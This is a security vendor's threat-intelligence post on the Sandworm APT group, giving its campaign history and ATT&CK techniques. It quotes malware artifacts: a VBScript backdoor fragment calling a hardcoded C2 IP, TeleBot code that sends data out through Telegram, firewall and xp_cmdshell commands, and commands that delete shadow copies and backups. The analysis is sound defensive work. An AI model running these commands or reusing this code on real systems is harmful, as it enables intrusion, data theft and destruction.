Resources | Picus Security

Inside Sandworm: Decade of Cyber Sabotage and Espionage Activity

Written by Sıla Özeren Hacıoğlu | Nov 19, 2025 9:00:01 AM

Sandworm is a long-running, highly capable cyber-espionage and cyber-sabotage unit widely linked to Russia’s GRU, known for executing some of the most disruptive cyber operations ever recorded. Over the past decade, the group has repeatedly targeted Ukraine and a range of NATO-aligned nations, demonstrating a consistent focus on strategic disruption, political destabilization, and wide-scale operational impact. Their campaigns span from classic espionage and credential theft to large-scale, destructive attacks that affect critical infrastructure worldwide. Sandworm’s operations are marked by technical sophistication, multi-stage intrusion workflows, and a willingness to deploy destructive malware in geopolitical conflicts.

Since 2014, the group has steadily escalated its activity. Its early operations involved exploiting Microsoft Office zero-days in targeted spear-phishing campaigns against Ukrainian and NATO-related entities. By 2015, Sandworm had moved decisively into cyber-physical disruption, conducting the first known blackout caused by malicious software when it used BlackEnergy3 to interrupt electricity distribution for hundreds of thousands of Ukrainian customers. The group further demonstrated its destructive reach in 2017 with the NotPetya attack, a malware released through a compromised software supply chain that ultimately caused billions of dollars in global damage. Sandworm has also extended its campaigns beyond Ukraine, including the 2018 Olympic Destroyer attack on the PyeongChang Winter Olympics and a 2019 mass defacement operation against Georgian government and media websites.

In recent years, Sandworm has continued evolving its malware ecosystem and operational infrastructure. The Cyclops Blink botnet, revealed in 2022, replaced the earlier VPNFilter platform and showcased the group’s ability to hijack device firmware to maintain long-term, stealthy persistence on network equipment across the world. Their destructive operations have persisted as well, with new wipers, SwiftSlicer in 2023 and ZEROLOT from 2024 to 2025, deployed against Ukrainian targets. The group has also expanded its targeting to mobile platforms, as seen in the Infamous Chisel malware used against Android devices belonging to the Ukrainian military. These activities underscore Sandworm’s continued commitment to strategic sabotage campaigns aligned with Russian geopolitical interests.

In this post, we will provide a consolidated view of Sandworm’s major historical operations, examine their evolving malware families and destructive toolsets, and analyze their tactics, techniques, and procedures (TTPs) within the MITRE ATT&CK framework to better understand the group’s operational behavior and impact.

Simulate APT Attacks with 14-Day Free Trial of Picus Platform

What Are the Major Activities of the Sandworm Group?

  • September 2014 – Sandworm exploited a zero‑day vulnerability (CVE‑2014‑4114) in Microsoft Office via spear‑phishing to target Ukrainian government entities and NATO‑affiliated organisations [1].
  • 23 December  2015 – Sandworm launched a coordinated cyber‑attack on Ukrainian energy companies using the BlackEnergy3 malware, which caused outages affecting around 230,000 customers for 1‑6 hours [2].
  • 27 June 2017 – Sandworm deployed the destructive "NotPetya" malware originating in Ukraine, which globally caused widespread disruption and estimated billions of dollars in losses [3]. 
  • 9 February  2018 – During the opening ceremony of the Winter Olympics in PyeongChang, South Korea, the "Olympic Destroyer" attack (linked to Sandworm) disrupted WiFi, official apps, and display systems [4].
  • 28 October 2019 - The group carried out a large-scale disruptive cyberattack against Georgian web hosting providers, defacing thousands of websites—including government, media, and business sites—and interrupting national broadcasters [5].
  • 19 October  2020 – The U.S. Department of Justice unsealed indictments against six alleged members of Sandworm for their role in various cyberattacks [6].
  • February 2022 - Sandworm deployed the Cyclops Blink malware framework to replace its previous VPNFilter malware, which infected WatchGuard and other SOHO network devices to create a large-scale, modular botnet for command-and-control [7].
  • 27 January 2023 - ESET researchers have uncovered a new wiper attack in Ukraine that they attribute to the Sandworm APT group. They named the wiper "SwiftSlicer" [8].
  • August 31, 2023 - The cybersecurity agencies of the United States, United Kingdom, Canada, Australia, and New Zealand jointly reported a new malware campaign attributed to Sandworm. The malware, named Infamous Chisel, targeted Android devices used by the Ukrainian military [9].
  • October 2024 – March 2025 – Sandworm deployed a new wiper named "ZEROLOT" against Ukrainian energy companies [10].

Which MITRE ATT&CK Techniques Are Used by Sandworm?

Tactic: Initial Access

T1195.002 Supply Chain Compromise: Compromise Software Supply Chain

The 2017 NotPetya attack was initiated by compromising the update servers of M.E.Doc, a widely used accounting software in Ukraine. By hijacking the legitimate update process, Sandworm pushed the NotPetya wiper to all M.E.Doc users simultaneously [11].

T1566.002 Phishing: Spearphishing Link

Sandworm conducted an email campaign impersonating a Ukrainian drone warfare training school. The emails invited recipients to join the school and linked to files hosted on fex[.]net, delivering a benign-looking PDF outlining a drone operator curriculum alongside a malicious ZIP archive titled "Навчальна-програма-Оператори.zip" that exploited CVE-2023-38831. The payload, "Навчальна-програма-Оператори.pdf /Навчальна-програма-Оператори.pdf_.bat", deployed a packed version of the Rhadamanthys infostealer [12].

Tactic: Execution

T1059.003 Command and Scripting Interpreter: Windows Command Shell 

During the 2016 Ukraine power grid attack, after gaining access to a Microsoft SQL server, Sandworm utilized the xp_cmdshell extended stored procedure [13]. This is a classic database exploitation technique that allows a user with sufficient permissions within the SQL server to execute arbitrary operating system commands via cmd.exe. Example usage of xp_cmdshell:

-- First, an attacker may need to re-enable the xp_cmdshell procedure if it is disabled.
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Once enabled, they can execute any OS command, for example, to identify the current user.
EXEC xp_cmdshell 'whoami';

T1059.005 Command and Scripting Interpreter: Visual Basic

Sandworm deployed additional backdoors to maintain persistence and regain access if the primary Python/TeleBot backdoor was discovered and removed. The fallback backdoor was written in VBScript, with some samples packaged using the script2exe program. This layered approach increased the likelihood of reentry and evasion by diversifying tooling and delivery methods. Below is the source code of an additional backdoor written in VBS [14]:

script.vbs
?Dim version: version = "6.1.76.5"
===================== WORK PARAMS =====================
Dim timeout:timeout = 21
Dim bIP:bIP = "95.141.37.3"
===================== WORK PARAMS =====================

Dim sRequest:sRequest = ""
Dim taskName:taskName = "Windows Defender"
Dim arKey:arKey = "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\csrss.exe"

===================== WORK PARAMS =====================
Dim pUrl: pUrl = "https://" + bIP + "/services/nl-nl/power-bi-embedded/wt_mc_id/azuremktg_hp_powerbiembedded"
Dim sendUrl: sendUrl = "https://" + bIP + "/store/mseea/nl_NL/cat/Back-to-School/categoryID.68073200"
Dim htmlUrl:htmlUrl = "https:///" + bIP + "/store/mseea/nl_NL/cat/Accessoires/categoryID.66233400?"
===================== WORK PARAMS =====================

Tactic: Persistence

T1542.001 Pre-OS Boot: System Firmware

Cyclops Blink maintains persistence by hijacking the legitimate firmware update workflow through a child process of module ID 0x51.

When the file /pending/WGUpgrade-dl is found, the module copies the authentic installer /bin/install_upgrade to /pending/bin/install_upgraded. At the same time, it copies the Cyclops Blink binary /usr/bin/cpd to /pending/bin/cpd and the RC startup script /etc/runlevel/4/S51armled to /pending/bin/S51armled.

Next, the legitimate /bin/install_upgrade is overwritten with an embedded ELF. This ELF unpacks the firmware image, injects the Cyclops Blink executable and S51armled, and adjusts their timestamps to match /pending/sysa_code_dir/bin/busybox-rel using utime.

The firmware’s HMAC is then recalculated, which is feasible due to a hard-coded key on the device, allowing the altered image to pass verification. After this, the modified image is repacked, and installation proceeds via the preserved legitimate installer at /pending/bin/install_upgraded.

Following reboot, S51armled ensures that Cyclops Blink launches automatically at startup [15].

T1543.002 Create or Modify System Process: Systemd Service

Sandworm maintained persistence by configuring a systemd service unit to launch GOGETTER at startup. GOGETTER is a Golang-based tunneler that proxies communications. The service was set to trigger at the multi-user.target, meaning it would run once the system reached a state suitable for user logins, such as after a successful boot. The ExecStart directive pointed to the GOGETTER executable, ensuring it was invoked on each reboot. This configuration allowed GOGETTER to persist across system restarts and remain active under normal operating conditions. Below shows the GOGETTER Systemd configuration:

[Unit]
Description=Initial cloud-online job (metadata service crawler)
After=
Requires=
[Service]
RestartSec=240000s
Restart=always
TimeoutStartSec=30
ExecStart=/usr/bin/cloud-online
[Install]
WantedBy=multi-user.target

T1543.003 Create or Modify System Process: Windows Service

The Industroyer malware used by Sandworm establishes persistence by modifying an existing, non-critical Windows service. It replaces the ImagePath registry value for that service, which specifies the path to the service's executable, with the path to its own backdoor binary [13].

Tactic: Defense Evasion

T1027 Obfuscated Files or Information

The Python-based TeleBot malware associated with Sandworm is packaged as a standalone executable using PyInstaller and employs multiple layers of obfuscation. Its backdoor code is ROT13 transformed, AES encrypted, compressed with the zlib library, and then Base64 encoded, creating a dense chain of protections that hinder analysis [14].

T1036.005 Masquerading: Match Legitimate Resource Name or Location

The core component of Cyclops Blink malware first checks whether it is running under the process name [kworker:0/1]. If not, it relaunches itself by spawning a child process via the Linux execl call with "/proc/self/exe" and the argument "[kworker:0/1]", then terminates the original process [15]:

execl("/proc/self/exe", [ "[kworker:0/1]" ], NULL)

By adopting the name [kworker:0/1], which matches a legitimate Linux kernel worker thread, the malware blends into normal process listings and reduces the likelihood of detection.

T1562.004 Impair Defenses: Disable or Modify System Firewall

Cyclops Blink alters the Linux iptables firewall to permit C2 traffic by leveraging a predefined list of port numbers [15]. Example commands Cyclops Blink might execute would be:

# The -I INPUT 1 inserts the rule at the top of the INPUT chain to ensure it is processed first.

iptables -I INPUT 1 -p tcp --dport <C2_PORT> -j ACCEPT

# The below command allows your machine to start conversations with remote servers on <C2_PORT>

iptables -I OUTPUT 1 -p tcp --dport <C2_PORT> -j ACCEPT

Tactic: Credential Access

T1056.001 Input Capture: Keylogging

Sandworm’s toolkit includes a keylogger alongside other credential access features. The keylogger captures keystrokes using a common method that relies on the SetWindowsHookEx function [14]. 

T1555.003 Credentials from Password Stores: Credentials from Web Browsers

A PDB path string, given below, within the malware indicates a tool dubbed CredRaptor. This utility is designed to harvest stored passwords from multiple web browsers, including Google Chrome, Internet Explorer, Mozilla Firefox, and Opera [14].

D:\Projects\GetPAI Release\Credraptor\Out\CredRaptor_Win32_Release.pdb

Tactic: Discovery

T1082 System Information Discovery

The Cyclops Blink malware has a dedicated module (Module ID 0x8) for system reconnaissance. This module regularly gathers a wide range of information about the compromised device. It does this by running Linux commands and reading various system files [15]. These commands and files are given below [15]:

  • uname: Retrieves the name and specific details of the running Linux kernel.
  • sysinfo: Collects memory statistics and swap space utilization.
  • statvfs: Obtains statistics for the filesystem of the current directory.
  • if_nameindex: Lists the names of the system's network interfaces (e.g., eth0, lo).

Gathered files include: /etc/issue, /etc/passwd, /etc/group, /proc/mounts, /proc/partitions, /proc/net/arp

The gathered system information is then sent to a C2 server.

Tactic: Lateral Movement

T1210 Exploitation of Remote Services

NotPetya integrated the powerful EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0145) exploits, which targeted a vulnerability in Microsoft's SMBv1 protocol. After infecting a host, NotPetya would scan the local network for other machines with a vulnerable SMB service [16]. If one were found, it would use the exploit to execute its code on the remote machine and infect it, without needing any valid credentials.

Tactic: Command and Control

T1102.002 Web Service: Bidirectional Communication

The Python/TeleBot is a backdoor used by Sandworm that communicates with its operators by abusing the Telegram Bot API, using HTTP(S) requests to api.telegram.org that resemble legitimate traffic to network observers. Each sample embeds a unique token tied to a distinct Telegram account and leverages private chats to receive commands, enabling control of infected machines from any device running Telegram, including smartphones. In at least one variant, the malware also uses an outlook.com mailbox as an alternative command-and-control channel. Below is the code part that communicates with the Telegram API [14]:

class mGYPGqombvNcHB :
    def __init__ ( self , botapi , chatid ) :
        self . botapi = botapi
        self . baseurl = "https://api.telegram.org/bot" + self . botapi
        self . chatid = chatid
        self . ssl_cert = ssl . SSLContext ( ssl . PROTOCOL_TLSv1 )
    def sendMessage ( self , message ) :
        CRXDH = {
        'chat_id' : self . chatid ,
        'text' : str ( message )
        }
       
        try :
            uynzpcFhFon = DkAngPey ( self . botapi , r'sendMessage' , params = CRXDH )
        except :
            qlswQwvRvhKYN = open ( LwPXBebGtWDVTKQEAB , 'w' )
            qlswQwvRvhKYN . writelines ( message )
            qlswQwvRvhKYN . close ( )
            try :
                self . sendDocument ( LwPXBebGtWDVTKQEAB )
                remove ( LwPXBebGtWDVTKQEAB )
            except :
                remove ( LwPXBebGtWDVTKQEAB )

The most remarkable supported functions of the backdoor are given below [14]:

  • cmd %shellcmd%: Runs a specified command on the compromised machine and sends the resulting output back to the chat.
  • cmdd %shellcmd%: Runs a specified command on the compromised machine but does not report the output, effectively running it silently.
  • getphoto %path%: Finds a picture at a given file path on the remote computer and uploads it to the chat.
  • getdoc %path%: Steals a specific file (of any type, up to 50MB) from the remote computer and sends it to the chat.

Tactic: Impact

T1486 Data Encrypted for Impact

Prestige ransomware, used by Sandworm, encrypts files by using the CryptoPP C++ library to apply AES encryption to each targeted file. During this process, it employs a hardcoded RSA X.509 public key. Prestige scans the file system and encrypts files that match a predefined list of extensions, while deliberately skipping critical system paths. Specifically, it avoids encrypting any files located under C:\Windows\ and C:\ProgramData\Microsoft\. The predefined list is shown below [17]:

.1cd, .7z, .abk, .accdb, .accdc, .accde, .accdr, .alz, .apk, .apng, .arc, .asd,
.asf, .asm, .asx, .avhd, .avi, .avif, .bac, .backup, .bak, .bak2, .bak3, .bh, .bkp,
.bkup, .bkz, .bmp, .btr, .bz, .bz2, .bzip, .bzip2, .c, .cab, .cer, .cf, .cfu, .cpp,
.crt, .css, .db, .db-wal, .db3, .dbf, .der, .dmg, .dmp, .doc, .docm, .docx, .dot,
.dotm, .dotx, .dpx, .dsk, .dt, .dump, .dz, .ecf, .edb, .epf, .exb, .ged, .gif,
.gpg, .gzi, .gzip, .hdd, .img, .iso, .jar, .java, .jpeg, .jpg, .js, .json, .kdb,
.key, .lz, .lz4, .lzh, .lzma, .mdmr, .mkv, .mov, .mp3, .mp4, .mpeg, .myd, .nude,
.nvram, .oab, .odf, .ods, .old, .ott, .ovf, .p12, .pac, .pdf, .pem, .pf1, .pfx,
.php, .pkg, .png, .pot, .potm, .potx, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .prf,
.pvm, .py, .qcow, .qcow2, .r0, .rar, .raw, .rz, .s7z, .sdb, .sdc, .sdd, .sdf, .sfx,
.skey, .sldm, .sldx, .sql, .sqlite, .svd, .svg, .tar, .taz, .tbz, .tbz2, .tg, .tib,
.tiff, .trn, .txt, .txz, .tz, .vb, .vbox, .vbox-old, .vbox-prev, .vdi, .vdx, .vhd,
.vhdx, .vmc, .vmdk, .vmem, .vmsd, .vmsn, .vmss, .vmx, .vmxf, .vsd, .vsdx, .vss,
.vst, .vsx, .vtx, .wav, .wbk, .webp, .wmdb, .wmv, .xar, .xlm, .xls, .xlsb, .xlsm,
.xlsx, .xlt, .xltm, .xltx, .xlw, .xz, .z, .zbf, .zip, .zipx, .zl, .zpi, .zz

The ransomware appends .enc to existing file extensions after encrypting them. It also registers a custom file extension handler for .enc files, ensuring that when a user attempts to open any .enc file, the handler launches Notepad to open C:\Users\Public\README, which contains the ransom note left by the ransomware:

YOU PERSONAL FILES HAVE BEEN ENCRYPTED.

To decrypt all the data, you will need to purchase our decryption software.
Contact us Prestige.ranusomeware@Proton.me. In the letter, type your ID = [Redacted].

* ATTENTION *
- Do not try to decrypt your data using third party software, it may cause permanent data loss.
- Do not modify or rename encrypted files. You will lose them.

Prestige employs two commands to set up a custom handler for files that use the .enc extension [17]:

C:\Windows\System32\reg.exe add HKCR\.enc /ve /t REG_SZ /d enc /f

C:\Windows\System32\reg.exe add HKCR\enc\shell\open\command /ve /t REG_SZ /d "C:\Windows\Notepad.exe C:\Users\Public\README" /f

T1490 Inhibit System Recovery

Sandworm Team leverages the Prestige ransomware that disrupts recovery mechanisms on targeted systems. It issues commands to remove the Windows backup catalog and also erase all Volume Shadow Copies with the following commands [18]:

C:\Windows\System32\wbadmin.exe delete catalog -quiet
C:\Windows\System32\vssadmin.exe delete shadows /all /quiet

How Picus Simulates Sandworm Attacks?

We also strongly suggest simulating Sandworm Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for Sandworm:

Threat ID

Threat Name

Attack Module

34800

Sandworm Threat Group Campaign

Linux Endpoint

54311

Sandworm Threat Group Campaign Backdoor Malware Download Threat

Network Infiltration

46557

Sandworm Threat Group Campaign Backdoor Malware Email Threat

Network Infiltration

57765

Sandworm Threat Group Campaign Malware Dropper Download Threat

Network Infiltration

96925

Sandworm Threat Group Campaign Malware Dropper Email Threat

Network Infiltration

47678

Sandworm Threat Group Campaign Malware Download Threat

Network Infiltration

31724

Sandworm Threat Group Campaign Malware Email Threat

Network Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.

What Are the Aliases of the Sandworm Group?

Sandworm is also known as: APT44, Blue Echidna, ELECTRUM, FROZENBARENTS, G0034, IRIDIUM, IRON VIKING, Quedagh, Seashell Blizzard, TEMP.Noble, TeleBots, UAC-0082, UAC-0113, VOODOO BEAR, Iron Viking, CTG-7263, Voodoo Bear, ATK 14, BE2, UAC-0125, UAC-0133, Telebots, BlackEnergy (Group).

Key Takeaways

  • Sandworm has conducted a decade of high-impact cyber sabotage and espionage focused on Ukraine and NATO-aligned nations, shifting from spearphishing and zero-day exploitation to large-scale destructive operations.
  • The group executed major disruptive incidents, including the 2015 Ukraine power grid outage, the 2017 NotPetya attack, the 2018 Olympic Destroyer incident, and the 2019 mass Georgian website defacements.
  • Sandworm continuously evolves its malware ecosystem, including Cyclops Blink, SwiftSlicer, ZEROLOT, and Infamous Chisel, expanding into firmware-level persistence and mobile targeting.
  • Supply chain compromise, destructive wipers, advanced persistence in firmware, and abuse of legitimate services for command and control highlight Sandworm’s technical sophistication and operational adaptability.
  • Sandworm’s campaigns consistently align with Russian strategic interests, targeting critical infrastructure and aiming for geopolitical disruption.

References

[1] Accessed: Oct. 30, 2025. [Online]. Available: https://web.archive.org/web/20141014083644/http://www.isightpartners.com/2014/10/cve-2014-4114/

[2] Accessed: Oct. 30, 2025. [Online]. Available: https://web.archive.org/web/20160129185858/http://www.isightpartners.com/2016/01/ukraine-and-sandworm-team/

[3] "NotPetya." Accessed: Oct. 30, 2025. [Online]. Available: https://attack.mitre.org/software/S0368/

[4] "Olympic Destroyer." Accessed: Oct. 30, 2025. [Online]. Available: https://attack.mitre.org/software/S0365/

[5] Commonwealth and Development Office, "UK exposes series of Russian cyber attacks against Olympic and Paralympic Games," GOV.UK. Accessed: Oct. 30, 2025. [Online]. Available: https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games

[6] "Six Russian GRU Officers Charged in Connection with Worldwide Deployment of Destructive Malware and Other Disruptive Actions in Cyberspace." Accessed: Oct. 30, 2025. [Online]. Available: https://www.justice.gov/archives/opa/pr/six-russian-gru-officers-charged-connection-worldwide-deployment-destructive-malware-and

[7] "New Sandworm Malware Cyclops Blink Replaces VPNFilter," Cybersecurity and Infrastructure Security Agency CISA. Accessed: Oct. 30, 2025. [Online]. Available: https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-054a

[8] "SwiftSlicer: New destructive wiper malware strikes Ukraine." Accessed: Oct. 30, 2025. [Online]. Available: https://www.welivesecurity.com/2023/01/27/swiftslicer-new-destructive-wiper-malware-ukraine/

[9] "Infamous Chisel Malware Analysis Report," Cybersecurity and Infrastructure Security Agency CISA. Accessed: Oct. 30, 2025. [Online]. Available: https://www.cisa.gov/news-events/analysis-reports/ar23-243a

[10] J.-I. Boutin, "ESET APT Activity Report Q4 2024–Q1 2025." Accessed: Oct. 30, 2025. [Online]. Available: https://www.welivesecurity.com/en/eset-research/eset-apt-activity-report-q4-2024-q1-2025/

[11] W. D. O. F. Pennsylvania, "OCT 1 S [UNDER SEAL] CLl:~K U, S, OIS’fl~ICT COURT INDICTMENT." Accessed: Oct. 30, 2025. [Online]. Available: https://www.justice.gov/archives/opa/press-release/file/1328521/dl?inline=

[12] K. Morgan, "Government-backed actors exploiting WinRAR vulnerability," Google. Accessed: Oct. 30, 2025. [Online]. Available: https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/

[13] "Sandworm Team." Accessed: Oct. 30, 2025. [Online]. Available: https://attack.mitre.org/groups/G0034/

[14] A. Cherepanov, "The rise of TeleBots: Analyzing disruptive KillDisk attacks." Accessed: Oct. 30, 2025. [Online]. Available: https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

[15] "Cyclops Blink." Accessed: Oct. 30, 2025. [Online]. Available: https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf

[16] "What are Petya and NotPetya?" Accessed: Oct. 30, 2025. [Online]. Available: https://www.cloudflare.com/learning/security/ransomware/petya-notpetya-ransomware/

[17] Accessed: Oct. 30, 2025. [Online]. Available: https://web.archive.org/web/20250726134922/https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/

[18] "Prestige." Accessed: Oct. 30, 2025. [Online]. Available: https://attack.mitre.org/software/S1058/
View full post